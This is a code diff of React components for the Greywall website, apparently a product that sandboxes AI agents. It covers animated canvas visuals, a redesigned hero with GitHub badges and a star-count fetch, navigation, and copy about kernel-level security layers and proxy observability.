ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
for (let i = 0; i <= 10; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, i * cellH); ctx.lineTo(w, i * cellH)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Scan line (horizontal, sweeping down)
|
||||
const scanY = (t * 0.5 % 1) * h
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, scanY); ctx.lineTo(w, scanY)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.4)'
|
||||
ctx.lineWidth = 1.5
|
||||
ctx.stroke()
|
||||
|
||||
// Scan line glow
|
||||
const scanGrad = ctx.createLinearGradient(0, scanY - 30, 0, scanY)
|
||||
scanGrad.addColorStop(0, 'rgba(6, 182, 212, 0)')
|
||||
scanGrad.addColorStop(1, 'rgba(6, 182, 212, 0.06)')
|
||||
ctx.fillStyle = scanGrad
|
||||
ctx.fillRect(0, scanY - 30, w, 30)
|
||||
|
||||
// Cells
|
||||
cells.forEach((c) => {
|
||||
const cellY = c.row * cellH + cellH / 2
|
||||
if (Math.abs(scanY - cellY) < cellH * 0.7) c.flash = 1
|
||||
c.flash *= 0.97
|
||||
|
||||
if (c.flash > 0.01) {
|
||||
const x = c.col * cellW + cellW * 0.15
|
||||
const y = c.row * cellH + cellH * 0.15
|
||||
const cw = cellW * 0.7, ch = cellH * 0.7
|
||||
ctx.fillStyle = c.threat
|
||||
? `rgba(239, 68, 68, ${c.flash * 0.15})`
|
||||
: `rgba(6, 182, 212, ${c.flash * 0.08})`
|
||||
ctx.fillRect(x, y, cw, ch)
|
||||
|
||||
if (c.threat && c.flash > 0.3) {
|
||||
ctx.strokeStyle = `rgba(239, 68, 68, ${c.flash * 0.3})`
|
||||
ctx.lineWidth = 0.8
|
||||
ctx.strokeRect(x, y, cw, ch)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Floating code snippets (Track 5 — Response Rewriting) ─── */
|
||||
|
||||
export function ExtendViz() {
|
||||
const snippets = [
|
||||
{ x: '10%', y: '12%', text: 'fn extend()', delay: '0s' },
|
||||
{ x: '45%', y: '8%', text: '<Plugin />', delay: '0.8s' },
|
||||
{ x: '20%', y: '45%', text: '.hook()', delay: '1.2s' },
|
||||
{ x: '55%', y: '42%', text: 'export', delay: '0.4s' },
|
||||
{ x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' },
|
||||
{ x: '50%', y: '78%', text: 'import', delay: '0.6s' },
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Radiating lines */}
|
||||
<svg className="absolute inset-0 w-full h-full opacity-40" viewBox="0 0 200 200" preserveAspectRatio="xMidYMid meet">
|
||||
{[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => {
|
||||
const rad = (angle * Math.PI) / 180
|
||||
return (
|
||||
<line
|
||||
key={angle}
|
||||
x1="100" y1="100"
|
||||
x2={100 + Math.cos(rad) * 90} y2={100 + Math.sin(rad) * 90}
|
||||
stroke="rgba(139, 92, 246, 0.08)"
|
||||
strokeWidth="0.5"
|
||||
strokeDasharray="2 4"
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Floating snippets */}
|
||||
{snippets.map((s, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="absolute font-mono text-[9px] px-1.5 py-1 rounded bg-violet-500/8 border border-violet-500/15 text-violet-300/40 animate-pulse whitespace-nowrap"
|
||||
style={{ left: s.x, top: s.y, animationDelay: s.delay, animationDuration: '3s' }}
|
||||
>
|
||||
{s.text}
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* Center node */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-violet-500/10 border border-violet-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-violet-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<polyline points="16 18 22 12 16 6" /><polyline points="8 6 2 12 8 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Benchmark grid (Track 6 — Control Evaluation Benchmark) ─── */
|
||||
|
||||
export function BenchViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cols = 6, rows = 8
|
||||
const cells = Array.from({ length: cols * rows }, (_, i) => ({
|
||||
pass: Math.random() > 0.25,
|
||||
revealAt: Math.random() * 4 + (Math.floor(i / cols)) * 0.3,
|
||||
pulsePhase: Math.random() * Math.PI * 2,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.016
|
||||
|
||||
const padX = w * 0.08, padY = h * 0.06
|
||||
const cellW = (w - padX * 2) / cols
|
||||
const cellH = (h - padY * 2) / rows
|
||||
const gap = 2.5
|
||||
const loopT = t % 6
|
||||
|
||||
cells.forEach((cell, i) => {
|
||||
const col = i % cols
|
||||
const row = Math.floor(i / cols)
|
||||
const x = padX + col * cellW + gap
|
||||
const y = padY + row * cellH + gap
|
||||
const cw = cellW - gap * 2
|
||||
const ch = cellH - gap * 2
|
||||
const r = Math.min(cw, ch) * 0.15
|
||||
|
||||
if (loopT < cell.revealAt) {
|
||||
// Not yet revealed — dim outline
|
||||
ctx.strokeStyle = 'rgba(244, 63, 94, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
return
|
||||
}
|
||||
|
||||
// Reveal animation
|
||||
const revealProgress = Math.min((loopT - cell.revealAt) * 2, 1)
|
||||
const pulse = Math.sin(t * 2 + cell.pulsePhase) * 0.15 + 0.85
|
||||
|
||||
if (cell.pass) {
|
||||
// Pass — rose/green tint
|
||||
ctx.fillStyle = `rgba(74, 222, 128, ${0.12 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.25 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// Checkmark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.2
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s * 0.6, cy)
|
||||
ctx.lineTo(cx - s * 0.1, cy + s * 0.5)
|
||||
ctx.lineTo(cx + s * 0.6, cy - s * 0.4)
|
||||
ctx.stroke()
|
||||
}
|
||||
} else {
|
||||
// Fail — red tint
|
||||
ctx.fillStyle = `rgba(244, 63, 94, ${0.15 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.3 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// X mark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.18
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s, cy - s)
|
||||
ctx.lineTo(cx + s, cy + s)
|
||||
ctx.moveTo(cx + s, cy - s)
|
||||
ctx.lineTo(cx - s, cy + s)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Progress bar at bottom
|
||||
const barY = h - padY * 0.6
|
||||
const barH = 2
|
||||
const progress = Math.min(loopT / 5, 1)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.08)'
|
||||
ctx.fillRect(padX, barY, w - padX * 2, barH)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.3)'
|
||||
ctx.fillRect(padX, barY, (w - padX * 2) * progress, barH)
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
@@ -1,41 +1,71 @@
|
||||
export function Hero() {
|
||||
return (
|
||||
<section className="relative pt-24 sm:pt-32 pb-12 sm:pb-16 px-4 sm:px-6 overflow-hidden">
|
||||
{/* Subtle background gradient */}
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||
{/* Grid pattern */}
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage:
|
||||
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
<div className="relative mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||
<em className="italic text-primary">Greywall</em> your agent & let it cook.
|
||||
</h1>
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif mb-6">
|
||||
Frictionless sandboxing with real-time observability & dynamic controls, for Linux & macOS.
|
||||
</p>
|
||||
<div className="inline-flex items-center gap-2 flex-wrap justify-center">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/stars/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614&logo=github&logoColor=white" alt="GitHub stars" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/license/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="License" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall/releases" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/v/release/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Latest release" className="h-5" />
|
||||
</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Go version" className="h-5" />
|
||||
</a>
|
||||
<a href="https://www.producthunt.com/products/greywall?launch=greywall" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://img.shields.io/badge/Product%20Hunt-Greywall-D95E2A?style=flat&logo=producthunt&logoColor=white&labelColor=161614" alt="Product Hunt" className="h-5" />
|
||||
</a>
|
||||
async function getStarCount(): Promise<string> {
|
||||
try {
|
||||
const res = await fetch('https://api.github.com/repos/GreyhavenHQ/greywall', {
|
||||
next: { revalidate: 3600 },
|
||||
headers: { Accept: 'application/vnd.github+json' },
|
||||
})
|
||||
if (!res.ok) return '138 stars'
|
||||
const data = await res.json()
|
||||
return typeof data.stargazers_count === 'number' ? `${data.stargazers_count} stars` : '138 stars'
|
||||
} catch {
|
||||
return '138 stars'
|
||||
}
|
||||
}
|
||||
|
||||
export async function Hero() {
|
||||
const stars = await getStarCount()
|
||||
const badges = [
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: stars },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
|
||||
{ href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
|
||||
]
|
||||
return (
|
||||
<section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
|
||||
<div className="relative z-10 mx-auto max-w-5xl text-center">
|
||||
<div className="flex flex-col items-center gap-3">
|
||||
<div className="w-full text-center">
|
||||
<h1 className="title-serif mx-auto w-full max-w-[980px] text-[40px] leading-[1.0] tracking-normal font-semibold md:text-[72px]">
|
||||
Contain and observe AI agents without friction.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div className="text-center">
|
||||
<p className="text-serif mx-auto max-w-[380px] text-[18px] leading-[1.2] font-semibold tracking-[-2.2%] text-greyhaven-grey7 md:max-w-[720px] md:text-[28px]">
|
||||
Default-deny filesystem, network, and command controls around AI agents on Linux and macOS, with records of what they tried to do.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mt-1 flex flex-wrap items-center justify-center gap-2">
|
||||
{badges.map((badge) => (
|
||||
<a
|
||||
key={badge.label}
|
||||
href={badge.href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center overflow-hidden rounded-md border border-border/60 bg-card/90 text-[13px] leading-none transition-colors hover:border-primary/30 md:text-[14px]"
|
||||
>
|
||||
<span className="bg-greyhaven-grey8 px-3 py-1.5 font-sans text-greyhaven-offwhite md:px-3.5 md:py-2">
|
||||
{badge.label}
|
||||
</span>
|
||||
<span className="bg-primary px-3 py-1.5 font-sans text-primary-foreground md:px-3.5 md:py-2">
|
||||
{badge.value}
|
||||
</span>
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<BetaSignup
|
||||
subject="Greywall managed governance inquiry (hero)"
|
||||
message="(hero governance CTA)"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
wrapperClassName="mt-2 flex flex-col items-center gap-1.5"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, Terminal } from 'lucide-react'
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Shield, Terminal } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxLayers = [
|
||||
@@ -46,7 +46,7 @@ const macosLayers = [
|
||||
icon: Shield,
|
||||
name: 'Seatbelt Sandbox',
|
||||
tag: 'Core',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
detail: 'macOS native',
|
||||
},
|
||||
{
|
||||
@@ -81,19 +81,16 @@ export function Layers() {
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<LayersIcon className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Defense in depth
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Defense in depth
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt blocks everything unless explicitly allowed, before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
? 'Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.'
|
||||
: 'macOS Seatbelt enforces deny-by-default rules before the call completes. The profile is generated per session from the project context you allow.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -105,7 +102,7 @@ export function Layers() {
|
||||
key={layer.name}
|
||||
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||
>
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-muted/30 text-foreground">
|
||||
<layer.icon className="h-5 w-5" />
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
@@ -113,7 +110,7 @@ export function Layers() {
|
||||
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||
{layer.name}
|
||||
</h3>
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-muted/30 text-muted-foreground">
|
||||
{layer.tag}
|
||||
</span>
|
||||
</div>
|
||||
@@ -135,22 +132,20 @@ export function Layers() {
|
||||
{platform === 'linux' ? (
|
||||
<>
|
||||
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||
Greywall detects kernel features at runtime and activates every layer your system
|
||||
supports. Run{' '}
|
||||
Greywall checks the kernel features available on the host and enables the layers it can support. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall --linux-features
|
||||
</code>{' '}
|
||||
to see what's available.
|
||||
to inspect the active set.
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||
macOS sandboxing uses only built-in OS capabilities. No packages to install.
|
||||
Run{' '}
|
||||
macOS sandboxing uses the built-in system facilities. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall check
|
||||
</code>{' '}
|
||||
to verify your setup.
|
||||
to verify the local setup.
|
||||
</>
|
||||
)}
|
||||
</p>
|
||||
|
||||
26
components/logo.tsx
Normal file
26
components/logo.tsx
Normal file
@@ -0,0 +1,26 @@
|
||||
import Image from 'next/image'
|
||||
|
||||
type GreywallLogoProps = {
|
||||
className?: string
|
||||
size?: 'default' | 'small'
|
||||
}
|
||||
|
||||
const dimensions = {
|
||||
default: { width: 285, height: 70 },
|
||||
small: { width: 138, height: 40 },
|
||||
}
|
||||
|
||||
export function GreywallLogo({ className = '', size = 'small' }: GreywallLogoProps) {
|
||||
const { width, height } = dimensions[size]
|
||||
|
||||
return (
|
||||
<Image
|
||||
src="/greywall-logo.png"
|
||||
alt="Greywall"
|
||||
width={width}
|
||||
height={height}
|
||||
className={className}
|
||||
priority
|
||||
/>
|
||||
)
|
||||
}
|
||||
@@ -1,50 +1,35 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
export function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<nav className="relative top-0 left-0 right-0 z-50 bg-[#ECECE8] border-b border-grey-3 w-full">
|
||||
<div className="mx-auto flex h-16 w-full max-w-[1920px] items-center justify-between px-6">
|
||||
<a href="#" className="flex items-center gap-2.5 group">
|
||||
{/* Greywall shield logo */}
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
||||
Greywall
|
||||
</span>
|
||||
<GreywallLogo size="small" />
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<div className="hidden md:flex items-center gap-6">
|
||||
<a
|
||||
href="#features"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Features
|
||||
</a>
|
||||
<a
|
||||
href="#comparison"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Compare
|
||||
</a>
|
||||
<a
|
||||
href="#about"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/hackathons"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
>
|
||||
Hackathons
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
className="text-serif text-[15px] font-semibold text-primary"
|
||||
>
|
||||
Greyscan
|
||||
</a>
|
||||
@@ -52,7 +37,7 @@ export function Nav() {
|
||||
href="https://docs.greywall.io/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Docs
|
||||
</a>
|
||||
@@ -60,13 +45,18 @@ export function Nav() {
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
||||
className="flex items-center gap-1.5 text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||
</svg>
|
||||
<span className="hidden sm:inline">GitHub</span>
|
||||
</a>
|
||||
<CTAButton href="#waitlist" className="whitespace-nowrap">
|
||||
<span className="hidden sm:inline">Talk to us</span>
|
||||
<span className="sm:hidden">Contact</span>
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -2,33 +2,32 @@
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import Image from 'next/image'
|
||||
import { Eye } from 'lucide-react'
|
||||
|
||||
const slides = [
|
||||
{
|
||||
label: 'Dashboard',
|
||||
src: '/dashboard.png',
|
||||
alt: 'Greywall dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
alt: 'GreyProxy dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
},
|
||||
{
|
||||
label: 'Pending',
|
||||
src: '/pending_requests.png',
|
||||
alt: 'Greywall pending network requests with Allow and Deny controls for each domain',
|
||||
alt: 'GreyProxy pending network requests with Allow and Deny controls for each domain',
|
||||
},
|
||||
{
|
||||
label: 'Rules',
|
||||
src: '/rules.png',
|
||||
alt: 'Greywall domain rules configuration showing allow and deny policies per source',
|
||||
alt: 'GreyProxy domain rules configuration showing allow and deny policies per source',
|
||||
},
|
||||
{
|
||||
label: 'Activity',
|
||||
src: '/activity.png',
|
||||
alt: 'Greywall activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
alt: 'GreyProxy activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
},
|
||||
{
|
||||
label: 'Conversations',
|
||||
src: '/conversations.png',
|
||||
alt: 'Greywall conversations view showing agent interactions with tool calls and results',
|
||||
alt: 'GreyProxy conversations view showing agent interactions with tool calls and results',
|
||||
},
|
||||
]
|
||||
|
||||
@@ -75,20 +74,14 @@ export function Observability() {
|
||||
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Eye className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Clarity
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
See every file access and network connection.
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Clarity
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
See every network connection.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict which files your agent will read or which domains it will reach
|
||||
for. Greywall learns what the agent needs on your filesystem automatically and
|
||||
captures every outbound connection, letting you adjust policies in real time
|
||||
without restarting the session.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
GreyProxy records each outbound request as it happens. You can allow known domains, deny unknown ones, and keep the session running while you decide.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -159,8 +152,7 @@ export function Observability() {
|
||||
</div>
|
||||
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
||||
Every outbound request is visible. Allow trusted domains, block unknown ones,
|
||||
and adjust policies live as your agent works.
|
||||
Each outbound request stays visible. Policy changes apply while the agent keeps running.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -39,7 +39,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('linux')}
|
||||
